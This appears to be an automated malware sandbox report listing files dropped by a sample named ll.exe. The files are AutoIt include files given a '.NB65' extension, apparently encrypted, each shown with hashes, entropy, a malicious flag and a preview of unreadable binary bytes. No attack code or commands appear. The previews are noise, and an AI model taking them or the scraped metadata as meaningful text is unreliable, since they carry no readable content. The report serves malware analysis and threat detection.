,..C......Y..'.3.....F4|.O..iWm..)..<}....e=.<...y....Er.....i.=.s..E......6.."...4X.2.-...=.f.:....o6A..u.+&.\...HK...)k.\..5.4[.....K{.(.V.m.j].T..!.Hh......1v....|..=.t6F.u6.i....^.G.K.O.PNmz...a.O..C..w.......5....1T.Z.&.`c(E......=.....K=mz.3.......V..3...1....$.2..8.q....t.ar6.....L......=.p@=.....R..A=

C:\Program Files (x86)\autoit3\Include\ColorConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3139
Entropy (8bit):7.931327078920157
Encrypted:false
SSDEEP:
MD5:2509038F49C131053400A7DDA2197103
SHA1:EC1A5B37B100ED382F9B0C58AAFCC5BC26ABB2A2
SHA-256:8E16561437D54FFEC8FFD5024DD1921960BF53F37E62CAC06F960F5F6A0D5ABB
SHA-512:696BE69637581EBB299BEED923BEF47A891FAC0029CF2BF10C7C787B6FF72271431F6C065636A1CC02C139AC484459508541813671771E9D7C409C0680830791
Malicious:false
Preview:8B.@...).%.y.d....9....?f..x .t._/.......bkd.D@..?Q.f..8...$ks..(..Q.&.+mW..f..A....)....].......'.H..,.R.t..8...W.'..i........s.hU.k}7.3..q.&P...b4...S.G<r.X.S.B>...FqY.+.8h..).[.j#.z/LJ...^c.".c..0|T.......(...PS..i.........N...P.7..2mn...;...*..i.*..(7.....x.o.-..E..T..`%...0E%..n}F..._L...r.R........$m.t8..v.a..@.x9.+.M.T.qb.......#...1=fh(._...9"Fn.^....4....c.3.-M.'.z.U.. .;.O.'.6..-.&'.}\C.H..K.F...=.W...Z..SX.'.L.&..C.V.A..Oa?.M....x...{.sgS.....%V..|-5...qHrwW...0Jo.a.'..(-Y..z.k.,...R.i.7.....Y.g..\.....O%.9.2.r...@Jq{..x..U.......N-g...w..<.v...hs.. ......=..MU.....K.<.V.v.....@A......8j{u...C...9@p....HV .:o..b....~. I..*..l..R......C.M .....D K..X.^uY..6}Oz[..O..`..#..u.../m..6..K.>H..P........>.S'.w6.c.*.C.v.....I.XN.L.....z.~].o\.d8E.{O..^ZC...l...)<.d...n[.ZH.0u.A.,.._.E.!..$.4V....5#%4.Gb.t.7.a.....E........Y.C<...v.S ...B.ai..~..fc,w....7.....H..c..%.B/Q.F...:.6.4r..d...K..^..;.`.>u>j..~U...Rv.:.xR...M-v3 _....f.$U.".....Zv

C:\Program Files (x86)\autoit3\Include\ComboConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8305
Entropy (8bit):7.976751623260107
Encrypted:false
SSDEEP:
MD5:CAF14C5D95EDFC053FBEC38E52B78E09
SHA1:E9F20FD5C8AB770944ED9D62C03032E0ED42B2A5
SHA-256:14FF6A69BE5C7263F3682A145B8E3B159CE1FA0F15E4D634A6BB68891D193C43
SHA-512:43293B7FA87884A3F66460244218EA9C65967A97C58AE8F18A72B01E2D49B808C9CE663AD89A280CBB3CEB7B311547279A406E1981F32CDCA8556D876C4C3D6F
Malicious:false
Preview:........A.<..'..v}V.mB...A..\.X<...G.bd....s...g^T[.9l&.|.L\..4..I.D..:..{FE..a..B.4<.6T[X......,.K\........X>..............C~...^c.|.j.&$..=.v&7.......a.O)......V.[.....|.bS..k.BP....\....g./....F|.u.3..p..e...2..`Z.....j1.s..e;.[f.1.&;.#...G.....z%L.....F.S.Sl....'.!. .UQw....X.... ........w.+..ff...9..iP..cv.(.&.....2.j..p.q.....f4W.Hm...F..#.1....:.U..Nf..Fc*e..2.R.6........jL...*..o....Nj7.4...S...5Ul4..._..K. ...0M..?........>.U.]Q..9.......<@.........&........#....3 ...Y..D..._...................Mk;..q.q..pUJ..c...`P.........f.{.sV..NT.x...CH.....Q.{..2.w....27z.@..I.P%%t..)...r..c..T\...:f.....?.%,.{(D3'c@S...(.N.La|+.kf&.tug...>...5...{.}#.|..$X.W..R......3f.0M..QM~S".z.q...4^!.KDj.X}....7..I....r)SD..b!.|.. w..C.I.B.>@n(<.T..;...-8.D.%.....Bw..2..<.T.<[lK1..T?'....Kky...&.. ^...+.........Q8..I..Cw...".'....j.... .v%VN..akL....+e3.8*..-.....o,...i...F......*.......D...Fx..^..RW..GZ..".zx..n......H..B0[.|...

C:\Program Files (x86)\autoit3\Include\Constants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4767
Entropy (8bit):7.957908728523676
Encrypted:false
SSDEEP:
MD5:DA010DFB4758B6E8A1A3D24ABFAB81FE
SHA1:87923AF8D0874B2EBBFCBDC87E0CF51A311DAA14
SHA-256:2372C145F379570528FDA33501EDE15710F1D12267F1F9D777706F57922501A2
SHA-512:9477D71925B2BF42D093F4E433F6FF7DD2C86839E1002BCBDC893D02638124F1390606FD6BEEBF6748F6F4E8B7D50007CF3383479FE3106228E0EEFFACFF7D47
Malicious:false
Preview:.r..V.'p*..U...t('{.......5u...H.Ex...y.j..e..>..V(.......9.!..wNP1U.G_L.~"...n[.R...$.f...~N.../L..U.y.......Tv.U..z.7..@..v.+.]E~..hDW.......^u..R....e......z..X>A.!....Z..e..`.1..x...`...1T .X.;.!.k~|>..h...gZ.V.(......M8(b^....[.E.U=o.Z]u.OX.KM"..T(W.&......V.........v..38.H..TDC.<.+..lr..9.s..?B.T..K....."f.l....>.G.k............;p....$.n^]iO..F.....g..|.gf..s.%a.........z..dH.4...o....;Ftl.}i..r+.. ...W{8G..BJ@N.|..<C...X ....B....=..Z..B|v4.%>..|.s`.(x..".(..%fs.]..g.{.5.$.B \!.].[d._.."...pX.IOI.....%..p<./.`/..C...E...c%./..#.K8.?......K..Si.3....U>.UD.t.P%.......y9.n...M.Gk..M..7..u.i.Y.EO....h-...y.;.&n..Y..}..(.Rb):N......R........NT..1.......7.....D.'.....r4R...i.c.aJ...M.E.....kC..&J....!.-...,...~Lg..6E.G...C+.h.............e..........a..n.DN@_6.!....N....n.4....G..t^.?W...<w.6.4.._...*k.V..m....3..O..n....f.HsZH+.."7.Z...a.)z.By.-1.s..9\.gJ../|.0.J.8y...\....B.0..4..-=.?..b..61.r'.........\JF...X.XS...._..W.

C:\Program Files (x86)\autoit3\Include\Crypt.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27829
Entropy (8bit):7.9929119363444165
Encrypted:true
SSDEEP:
MD5:CB17935A74776F12B7F90A3A69F5955E
SHA1:EAE90B19F4FF8E1328A4E033E5B68DE315D67B4D
SHA-256:7BB9C7A56FF977A2E846C29C9642C4E6EE985AC4E85A1AB0397CA9C949A41EBD
SHA-512:2689013AE904BCF34D60A8CAA133826E94A74D2FEF33AAB1649AC7566984C7DAE7FAEEF0CE76A91867C22BE1CE0951D0EB352268317DE42F4F2FE494760E25BE
Malicious:true
Preview:.P..nNr..=w...?.y.....{9$..j;..cr..\...... ....C..Bj...xv{..d&..z.C....+..-H.`m.iA.\B.....r.....9.<..?v.9...."L...r..m.p6..;.8<Dc?...P.C......>.....V.........K.../.z.Qh....M.v}1.#......q9 -a..EL}Z..o..t_..Dqi-.J..~2.Kr...UY......oC...0Y.J..+s:....A..j....8P.k[J....J..rnGOk...a.D..f.Lq..2.5..........Af..4.Su6...).gKAQ:.0..b.5F..0..+"....-.I.o..q.....v..gi%...h.?@QF.h..`w...}pt7w.y8..G..v....-.....?..nU...b....ox...4.u..s.?.W......b.."<..E.....a..@I?.9......3..=L6c.".d....oJ.A\..../...._0&..g.......r..!5.OH.).X...'nIr.fy..O.dU.S.,0!....nW%e.3...z.......6.w..,..u=....;S..8.7..A.%p.6.....P.q..{.'.1.%A:4g...:^).J?..:.].$..O.,.>G.....T..U....]...=....]t.XTQ/..jO2...@.T..9...kp...X.y.hx":.g..tz..+...........i.'i6...S...|`....{..35.{2...t.f....v..H.....5.,...x.....*OI.B....5.w..614........Z..........w.}x..j6...][.I..%..X.*..<...5.K.x...$.r...S..%.{[......k,V9>./....Ch..#.=...h.$..h.@..Z..=d`...@;.0%.*hP6.k. .a....&....s............6..9.[

C:\Program Files (x86)\autoit3\Include\Date.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):83418
Entropy (8bit):7.99781998687549
Encrypted:true
SSDEEP:
MD5:B4D802BF5AA55A0758CCD1FA2A1176A9
SHA1:782A4B038A28F8D1280F0ED0F2617EF0D024A93D
SHA-256:2DA7AD230C7127FF58228145EC414C423EA00E8BA8E2E103361F46D6EA8471BA
SHA-512:8D78939B1147DAE8875E5149F27B88FF007D433AA327DE6CA1F9A8104F645C657C80BC43D69A10CBFE585DBABADAC5575138306EE1DD85B2FA42187A853FA795
Malicious:true
Preview:+?IF..1o.:...0.....J....G.-".^]N...2t.TR..r..(.Hnz..-S.....\.^.>....o.G......XS.c..wA.<......kw..&,...0..d.[2@...>.=V...I..Mp...H..B(+K.g.........%.....`#t..I..U.;...@,..z.e2.............fo-4X.`2y<......h.[.%,...X_.).U...xb.9E.{.X.z:.....K.dxO.L.#....N..6.O.P}./aJt...1b.d.7..NU.....Z.P...Cnm@..7..zW...t.z...;.H.i...0<..l...$!.....kD.bba9....+...gk.<..,C..sX]..XZ..-..1....-ep.v....'?.W.....z.h.Y.........>...z......M.n.,.A...C=.]......hB..v.}.h|.<@,.wU.HO.qn).{R......OS1.....y...... .'G....B........^.....K<.^(..7....o.Re........%u.,..F..R..E.Ex<c{..,.~...B~.?..P...._^..!!..JA....`DW.QP......0...rf.0:.w)..g#...o.....sp..*;.M....v...........#e.|~..K@@..3.1-;.h.......x....{.+..T..A...v8j. .....w.-~kK...U.wQ.O.P.1....;(.dN7....K9=.........W..#.......Qu...34$..-.X.ZA.........9....|TR...!"..8..."..?5.+...D.u...J.......,..........t.4W&2...L..N....].F...M..|.f....l...OQ..c!.F.)a......M.p....i......g..P......q.4Q..O%X..&...>...s.).0...

C:\Program Files (x86)\autoit3\Include\DateTimeConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7588
Entropy (8bit):7.974752606040918
Encrypted:false
SSDEEP:
MD5:98F9DFED674A3D7572CAE61C48AB3361
SHA1:C6247A53175BC5075DDF339379E003945CB008C0
SHA-256:231A2107F6E5FBBAFCF6535FDAE37343F43E9496770D1EC0F2ECAF0BD4097B87
SHA-512:1FB5A6B7AD2939292D234071C04B129D058093B4F996F44AAA6D2740A78DF1C613B44A775313181046F8BA3BD32785E869486AF557E2EE46FBF8235DFFF3D47B
Malicious:false
Preview:.AVQ.q...a........uS......d..f.v...F.....$.U{.k.>..k.3y."\.....?._W..P....A...6.).@*.+)i.@.3v........5....D..YJ.......e.l...g.G.l.f+{s..t.A.r..j.F.A_.Dd.\....S'e....D!.We.*T....K....Z..y....B.WW....k..c.>....d..$.*n...0.{....^.C![."_/^!^q..]f..0\#.........db..Gc..d.....,..."#..(Uz..0D......`....s-.!..2&......Ps8\W8. .).7.J...Zk...7........P....~/.%.44.*OB.oFr.a.....i.k)`.IO.a.......C3|>r..b.V..^.9zd..{L.d.vxl.......oP.h....V....E<............{....J...rw...x5.g.F..-....L.Q.^@,r.iY.oh_.j.......p...J.Y.x.JSR.5..q....C."4t.v.1cH.......j;wpwTKH..V.......Psf9.Q......`...n..8g._x$.C.y.^TPlk......=.S...+...H4.!.A.}...a2v..=d...C..0.Ox........QU.^.&R%.{.(!.......%...........TQCe` .g.G.{".dM#:A.f..VS...s.oA.It.."..fcz<...Tz......@..%.G.b.*.K.(.%....%o..F...$.nc.AhnNj..6.....c...a..#^E>.....oX...w.E......<.....C.........f....a:.BY....^#Z..i.g.R.CD_b8.i.]$.#.....YG..s....q..;f].J..k}7...*..y.$.^..!.`Av..b...?.r-...w.....6.r....R.A..h...r.....0.*.V,...4k$G..P.s

C:\Program Files (x86)\autoit3\Include\Debug.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):27420
Entropy (8bit):7.9929284196029275
Encrypted:true
SSDEEP:
MD5:17D38F84EE210FE069401954B72A68AF
SHA1:920E18B6D23321664214D3B251058954BFDAAB12
SHA-256:821DFB42B9BA94029645D921680CB78D5D469039EA252AC643A75414D959189A
SHA-512:C18E9F76074562BB649CA149EBADB85B1A7D0FF204ADC5D1DFC740D0007D273BC9D978419FDB173756095AB7CC6D88F93542960B4E6948A8F938BF5EEEF263E8
Malicious:true
Preview:0].X..uAG.o...@.NJ.....i...c)..P.|.qJ....~]......%a..tuxw.Ka2.Hf.....NN?.........T.c.......v=..BRs..W....n..q.{S_H.#....}.;+"....z..g9A.F..J.N.9...A..~r.Pt.$DH2..h.......!Y...^x.`...&.HJ[x.b.....u...h.V.-........u.M.`*t@....Z.Wv.n..L.C#..CTFEM....H...XA..a...o.......jL....tC>.H=jL...s.}X)C.......$(@.V].T.&.ps..:x.V...6....1...-.l........2c.R.L....{a....).}.j.^.!b.J....u_..#..Q.Q....n_M8..5..(.oz...8.....K..B.....L3v.j..!.&.....A.Q......2.6..1p..y.L..J.....,.<.....p.5..T.....,zQR.D2.......~w.......I.x...(^...._.z........ ....M6D\C..ck..,...9.....q..~O...|GpO4.aK".T.X7.Y...{/.>.!...U.\q..4..d.A.n..dd.......dFY..J.G 6.M....".~..0.Zr9.M_.yMV....6.....l.4..}po.A..$p.s..^..QJi.Q....Y..^....GNi...Py.3y......p...:.w.}..Q..yV..x.......X..C.#....H.:.|.&.v....Oz.R..T...... 17..R..c..v.w..*.%.H#.e.h<..O.Ug...#.N,...#.*.1....o....&..J_.Y,...(o..]B..i ..l.?.l....a.A.o.6O.....uY.zVC...b.v................=...P.1.p..SNwp..[.Y.P.&=.Y..l..?.,g....e./".1

C:\Program Files (x86)\autoit3\Include\DirConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1629
Entropy (8bit):7.866493904619463
Encrypted:false
SSDEEP:
MD5:508A14DF7C438BCA94114C955A9049C0
SHA1:4A4C96D9B791D6236296B036E015C400DEAAF682
SHA-256:E0B32E41744481AF81CB3BF11A085BB7DF1B1E5273CE2152C60392F4D8C6C4E5
SHA-512:C8B5291899A7BC22EDFBEDD8857C9CD5DAFB43461780BDF490071AA533EA0B3351847B9E097569588591CB64DF9073D748F8593018EA030F0575CD43B6009B56
Malicious:false
Preview:B.Y@...2...e..|+.v..8.1+.e.s....9vw.w........<p~A...<...........ii...^c._..N6$u.#y.*...L... .....2...?.b...E.xW..../TNu.f....<Gu.w.....f....;..~.y,B;.e....&O..;V....(.....j...Ea...\#.g......|...E..2*A.3.:nsn&..A'...Q....kQqP.........goOW....sf....*.=?S......h6.....&*?g...........#x...Lt.C.3.....A.<..;+ .5.....2........4.W..:..7Z,D........I....iG.W.+.....C...->...;....b..._ Fy..|..........n@..{]. "K.bN..M.[......Q.8..L.8.l.n.1'..E...C3....*{.Q..@.L...".7...4...1..p....k..?b.Na....CDXJ2...b[.D..?.tfb.xh.%./....e..G.Q......\.......$..wblr!.!..3Z..L..E.'aU3.Q.0.;..].q.Y.....F... ...5...?..1.M5.IhM.....mq.4;.X...W...Mc..^8b.D-.uU..f.'..n..^1...s.)..~..-..DC.r.P99l.=.....t.G.).y..8..C..n...h.R=...yC.=...#..Q......e{...&....x..lT.....$j.c.X..0r-....@oN^....<.T.....q/...\."..9.....d..U..U.....:-.Jik...tS...i.....9....d.ARo.+...$.u..".x.r...ejX.....Q8@D..f}.5<.&..u./.,..5.....U...Saj.Ff.....g..#..Go..vq.....l...h...^Xr...R.;.!......=.7mD<F....

C:\Program Files (x86)\autoit3\Include\EditConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5368
Entropy (8bit):7.9662508152440115
Encrypted:false
SSDEEP:
MD5:E196A56F6C84E931820BF6B0EEBABC37
SHA1:ADD1C54C022F6B83FA47A095A5D9AF5D0ADA92D5
SHA-256:B9ADC098EFB0D2516DC3C0401FED3FD2CDCEFB056D865964C19C00DE4EBEC032
SHA-512:35DA1A703BC1A976B93C2BA316D6A5FBC90849839BCEDD44D43FADC00E075341433C996E2F38585CC3E4F6B9A5C5D4DFACF2F2B2E187796834F50BB4409CF418
Malicious:false
Preview:h.n'.n.2wj.3....}M<9....4.8J..HxYR'.%....u.w...}..P..<g.^|R..p.`..,.Y.8.}+<.W.4^J.[I..#"vNs*.P.f..R...`k...&.?U+...3L..hG+..S~...Zq....p.O.B......>2....Su...g..G.......o..,.....b|...^>.M!.1.....z.kL6...F..0.@........6F.....<.UI...<.@.....!...q..3..Q3...9..X5^.X...[.XW@...,..46.N.jbl.<.#y..=kG2z.^j.X..en...B..................>...F}...y...O....c..*9...U....j..|.......hv.&]~1.......\.p......1.............&..7.L.I.x.|..E..Sc:*...~P{.,....I._..O&v....&x{......VLSm..'y5....5$...T.h....J.x..x@.8b...z(wg..X..X..S6S..j..<.....~2;.[G..l....l".G\AH..v...1=..\..F...)lI(<uW.....d..*..VY...?.>4&....gS^4`.... ......U<J$...?.$Z......v%cD...:NUM..f...J...3(...#...1.RC.....E.....\<....wq....y.j.0..z.J[U............F.\..f~...bX#S..;..2%..~....M....Ton.S...@.a>.YO.*..E,.[.:......p...E.....]&z....sl ....0B=..R......<.jLM$n2L.$.A.{......}.1.!.....16.mV.0.)...)..........m..M.k.b.'............)...v..u%^.....:4.KY.....A..=.......H...b.sw-.T.D..5..r(3....y..:.k..

C:\Program Files (x86)\autoit3\Include\EventLog.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32262
Entropy (8bit):7.993781561359526
Encrypted:true
SSDEEP:
MD5:CE1D8BE6CA5F807126C306EAD0FC573F
SHA1:2739AF1071FC9AED8FF496B7887340CB88EE7032
SHA-256:F90AD2DEF0F9E24DE39389AC2517F253B5C473CF705306B6373C9D57F0C3B819
SHA-512:133FEA65837730F6B92C721B9118FEC321C3AE66E9F0E25795F8688BA810FFF5B8FE94FC8F1AB36313D21F051A46D4ABEFDB90437FEBAA917F4DF71D040471B8
Malicious:true
Preview:.<[.*hl.*.$...GA.|]D.K.E(y..i!W.B..q9............ANM.i.1l.}#@......!7S.e.U.7./_.\..3..`.....oF.u;D..J..mA`.t"....j..7] ....W_..J.4..&..e....Z.x.\.F.....(.Z..F.{..&v...qGFs.OY...h..U.?....A...f.$-S...Z.....!.vpy..K...L.".5XY.........=3..V.}&.|.T...t.x~J..).&....#A.AwK8K...N..{p....].|....{Zk....G....(.I....M.&...1.I:...G.v..'.*bl.F...m)F..DZ....O"j.^KXm ....&.P...(..."p..M....P!.......e...;..KO..G.J.`..dy+.._.c.......i>...v..0M..b..=..g....@&h{&.....\.nG.R.-5x.!.H.L2: ......t.5.......1.k#.`........\.....5..z.O.>.j..W.[N.d..b.O....({E..FD.\.4...)....*W..`.3.U. .m.P.E......o.3.D....U8(...Qom~....\b_...1..).......:px.YC..9&zI....*.]O..c....v.9v.MP..lN)..?..}........|...V.F).Mi........d~QKq=W...b.X....[..=n... ???.m....p;..<$...q.C..Y.NP.wR......{'j..Q...=$...(\.......D..+y..o....^4%.C......g.W..p....].O{].B0.^...L.N.l..,.f.8....>i~).... ...}4..`K...;..{.#..v.*.....U.4.mr...LR.....;P...N.$...,vi.u5..G=..j:...X..B{........K...I

C:\Program Files (x86)\autoit3\Include\Excel.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58154
Entropy (8bit):7.996984768800788
Encrypted:true
SSDEEP:
MD5:FF8CD72EC0079E8E00F256DF82A1A3F2
SHA1:0714B3BB920D3A09533D872A0E85E0FFF6030402
SHA-256:6A2F8D6462E8C9DD3C32F9C20728BDD481ADA5112EEF7CDB17139559890B791B
SHA-512:DA0D5CC421BAC21B6F35BFB6F398C8493689A7732A36B915D91CD699D7D77B8B28EF334F781F684E26979FF22F21FDDD85F7079A95EF4B5856995EA7C24BE33C
Malicious:true
Preview:..m..fgx.......D..8W..C2.2]7.........W..?.h....)..v..Q.............z`..D. ..t....A.2...^~....S....Sb .....x.....8......i......`..u.Xw...f.1/.eq...*...<.AQ..(..Y..;G...G...Gx..u..~..(.....8A...4....+D.>/g.I...Y.u4L.....5....7+.b(.BU..Xq.b....M.[uc.;..a.......4+....S.......f...D.z.jp...&....a.M...M.1...7T...."O5.[ ...;.[...._u.".fp......oV.wh.%....F..bF..XR........E'.n~...N....'...kV..w..s..c..K...Zh..tl../.....e..M.l...X..!V.m.;8>.l$.?.].Bk@NY.l.-...).........m!.z.....3/...i..L".Q..@.&..5..dL+..8E...6..Wo..Z.X..AO.gv.B....2.P..Eg.!ls..n/...c...t_\...TC..z.ng>.+.G.ae...........O....v...{\...f.GHs.h.G.Ux.*..U....6.bQ]y...O....U..;(w....."..ZE.T...!.|q....z.=Q2.0.....@..:et..#.{.........Y.g.P.......-.4..."..x..E.C6.f{o........D1....Iy..}.7.&.J...C.>.!. ;nYc&.-Z'..2.kky..9.w."....0...[n.9..5.]D..2;.....z.....~{=.B. .l.s.2n..`...vI.Fg.!..|......X..)s...e..c.-....."...3..].hOa.M.ur........b.7\h..z.k...XU....x<..&z....s.............c..* ...n.

C:\Program Files (x86)\autoit3\Include\ExcelConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):20151
Entropy (8bit):7.989996357100325
Encrypted:false
SSDEEP:
MD5:5AF76981D913DC69D7581F96DD433AC7
SHA1:18D1056E5199E8A24185A67C4A97B74D08636090
SHA-256:0AAABDFBA1EE9D69F18D90088FEAD05E45F83F06D5B5291C96E35D80A6871F40
SHA-512:17F0F4714E7A46193F37531BA4305D590D7ACBBE63954FFCE83201EBA05C4DCE0170A1437B6D403ACC59A83FE2C9EB2BC74BBA710B335D2A65E8EA7478C9FE8E
Malicious:false
Preview:..,.qqM....q...U.~1\..e.r........i..$Q..6y<.lN....Mb.Fq.i..NhII....H. .4...t.......Kak...1.a=..e..>[.b.%.!. m.l+.&..cf4...l...^P...8W._#.:.FvkY..._R.......*...s..-k.l.0Md.....N.t.i.......x. ..2(..!)k..S.p.Q....r.CS.P6P....Y..`4.L...~_n...onk.[X....._.z.."..G..|!...H...Y.].VXlG....W6...W.~E....dX\...l.}....[..bSdn.N<2....N.d.f.?.....U..x1i3T}c(..wJ:'";...'.....ip.>.l3.T..}...{..E...p...Hh..y....64....w.j.6...V..).."!.r.....@....'.~.Zh-..........n}_.....|...,}...5.7..Y.....L.w.j.qs..:.......0..+..K.<...HM.6d....F..k.......}.Y.>....t.E.#.&u.x...9$..n%..0TfsR.J.'z..k|....O..wu7..#b?L#.....D...Xw8.f...DO...1z....[4.....w...v.t...c.T|.e..6v.T?....e........e..t..W..,.C.d1..P2....a.%......TU.G.H6C/.....b(.p...j.6.ay....,.s,..U....y...E.K`l... ..T......$<%.d..........I\..'.]...B]..............h|.6..I....%.S..O.<s.....j.d...d.a.q....t.+...|..G...Q-\...F.q...Z[......?...s...2.HJX.II.^...B..].u>......D..M...3.._. .p.."~.$k.....z.... ..

C:\Program Files (x86)\autoit3\Include\FTPEx.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):46136
Entropy (8bit):7.996378033821095
Encrypted:true
SSDEEP:
MD5:F551FE7844198D5A57FBD59285AF6865
SHA1:A620270899273C1D2363DFB05B9EB433E881B87F
SHA-256:9803A13A390C1C8C1D0715C6543B0404FB78B831B32C84BF3A2E09DC2BBCED3F
SHA-512:4507F283E7AF4481887F5C9E061CD289A1F6A26B787051FC83B2E5EA1A6EAAE7E4A415FAA513507D5EEA79C02455B51E06519B341C3CEFCE7623E3ECEC6DE0A7
Malicious:true
Preview:..}K.tG..8.y......;...<.r..#n.......I.K_vd.B.u73Ps...R..mv{..+..1t..'!.P>..Q....m...x@.W#..Y.&..M\.s*P/<...i.x.-...~:.v....Z)M..Fk.qNB..k....&.C.[..Q9gbqv..N.T./VS.Q..-O<=D.zk.......d....~....B...<Kr.y.y........K...........dk...p.3..'..&..>2..z....0a..w..W.y..;\....z...A"...^.i.FF%7............h....9D-...h.I.}.8:3.....;..$ad..3S.U.Z+...U.>.+?.qM..B..-.P..q.?..REDF`.]..E.o4}.e.....9.s#x..-_........Fs..i...Q.8.O{.v:.O+.."..=.........h ..LwU.,..P..hQJd...e}..]R3]v~.=)..x.,.4F.1......H..Y.<.x.....1..fM.AmX....y6mb?....8..X.(.r...og..n;Z..a...!..c...G...b.....G...`...n.;.&..Q.....$...E.....KT...Y.c.'..I..YMst.aVe.m..uF...(G...=.)......a.r..`9..q...T.UFj...q.7.....T..].....L.I..3...+.q@.e....s~`......fm.mgg.a.{I......r.6;..~..J0.!>..g.N.....\eN.~.&...u...Nm.L.aUhr?y.V..;v.M&....I..T.H04b5t.Y5=.+..i..4YN[o.?&../)f&.[W...@/...(.dvK;..P.9....v........1u}......CP........T..v..q..T..5...I..q.....v+jH....J..E...K.e...X...F=HHRM.;.R....!.k.]....

C:\Program Files (x86)\autoit3\Include\File.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44488
Entropy (8bit):7.99617650604219
Encrypted:true
SSDEEP:
MD5:FF23E3285372113891869589E1B55430
SHA1:1AE65C7E1C5B3C5F3E5287D6DF25AE817EBC3A39
SHA-256:E3407456661AA4A374D4E9862ADC45BA76849844F70360884C05FEB092A73B5E
SHA-512:0F023FC7E7A2CCA8649B829C4C3E50E855BF17A0C06E1CC37113C47C53899AFFCB549F3A776D7289718FE9D8B9D96AA9CB86D3E36945E0BE9EC75A1565156D4F
Malicious:true
Preview:.t..#.6...@L?.Yq..#.sF=.VA|v.<,..\.*xw{....l........G..#I.l+..l..t.T\y.Mr......m[.?r.Uh......yC.+.<..a>......Yp..Dv...=...:......A..v..?_....I.8...5.`.........6.o+t..q...,..:...M..''E%..V.$Y=...%.C.*.......t4..p..".|.q6..xa...J.....D.t..3#.UJ..\.?.R.n......az7...8 \...bL.)V.....11..A.z.'s.j.../.e........@.....O^f4KHU>@p". ..J.Q.......3,..H.6wnOr.+.2n.......},.Op.W...7......@..@U.......ov...d.....:...i....N..v'.X..1Q.'8...g.:bnq.2..~~.|.. ...R(Y~.....v9...~.U......2.qE...V.....xl.n.w....G.(..7D@.................f.yy...E/.&.R.qp......O..9O....Rz`.....f..+.B...=...X..I.yu....=..a..\-.rz t.!..5B......|9.P..?(R^..I}.k..e...V....wmbb...wC..[.ZPd.A.SZ.;2XM}..I2.DsL..Y.\.`.z@[..S%:.M.t.s.X.&..L..G....Ge.cM.9..?.....hb.;.4....{..#.A..A..G5_t3.8b.<?.}t...|3..v.t.Z..6.c..A.w.6..>i\..}...ZofzU..6l...O....5~.2....f.s...o.,$..n. .../..0.:.P.U.W%.U.F.t../..gN.L.~...(.....Z....D.L.'0...|....`...X;.r..5...J.4...~....(.#......kX.V.j&&...D....fj".uvC.a...

C:\Program Files (x86)\autoit3\Include\FileConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7215
Entropy (8bit):7.97105668183708
Encrypted:false
SSDEEP:
MD5:11AAE4B8D3C703428A95F18ECD7F29E7
SHA1:9A2B46BE1B9CAD06E1B34E03D26EAAC03C6434D9
SHA-256:97DD7EA20389798017CD4B77C85A67207AB5866EA17F2E958E8AF878D60FA485
SHA-512:15D02BAC8FB564F729AE3F3740EAFEF23B4273CF02FEA1A3D60D0C4166B61DAB3BF8F7475AE70BA053768737FB7D1BE7A6F77287F36027A6D9CFA01FDB1F690D
Malicious:false
Preview:`.Zk.z[...@....`./.0X...1.f..t.....z..h..Wta......m.<C......4kwG..V-\8?.G..E..:'.K.@.l.DpL.....enl{?..h./.5..bP....`......./.<.|*..uey.*...R.|a....St3XM.|_.&.....VF1...JF..E....Uz.......;....Y1.U..~ZTL.@qZ...r.Vz...3....8.~..o.0.......'.E.R.....p....Q.&.).k......D$.. .3....|i..i...G.B.4..sH..7p..kp...!.d'..9.=.l.6.:E...Ut.%../.. hgJ}rD.NrbQz.4Wf>.U.l....P.T)...*....p.~.#.z."..m....JA.-..~+..\.S.b1u..&Y......Gdl.f] ...v.!).]...$..*.nr.a.....E..2...G..2...<.Pf.,....2..@..-...ZZ......@..z.i...l._.....{OF.n..4.#l2].B!~....B.)|a.e..P..g.. ..2:,.J0Y.8.....0....=v..3...@..(..j.!V..q...8..%.X..E...92...c.NM.. F...e2.2D..S...ln..@S.b..Z..<.....q..&..x.^.v...&E.Gn.g...Z.E-..Jmw-].......h.8..KH..D"8.F.........2I%.q.l?...b.?.Y.BT2P.'d...L......o....54.r4..9f.k~.Z.a.=..[L7}...p.AY...y.....f..!N...Bl..B...K...D9.....2..+H..NJ.[.t.hgvI.F.$.n..a7.4.1..o........._' ....p?b./...q<..+.L..i...C.2.V$......iA-.M6.].ki.d7.~w....q..... OD..na.[....r<..>......o.=...

C:\Program Files (x86)\autoit3\Include\FontConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4140
Entropy (8bit):7.9532833154212055
Encrypted:false
SSDEEP:
MD5:BC3CDD31684DC2105F581FF3816FAEA5
SHA1:82EA1993882910242FB706D84994FCD193994C8A
SHA-256:73A26921B2E618774437A12DA80AD2B5DA24A4375DEF30504F5378BBAA16F691
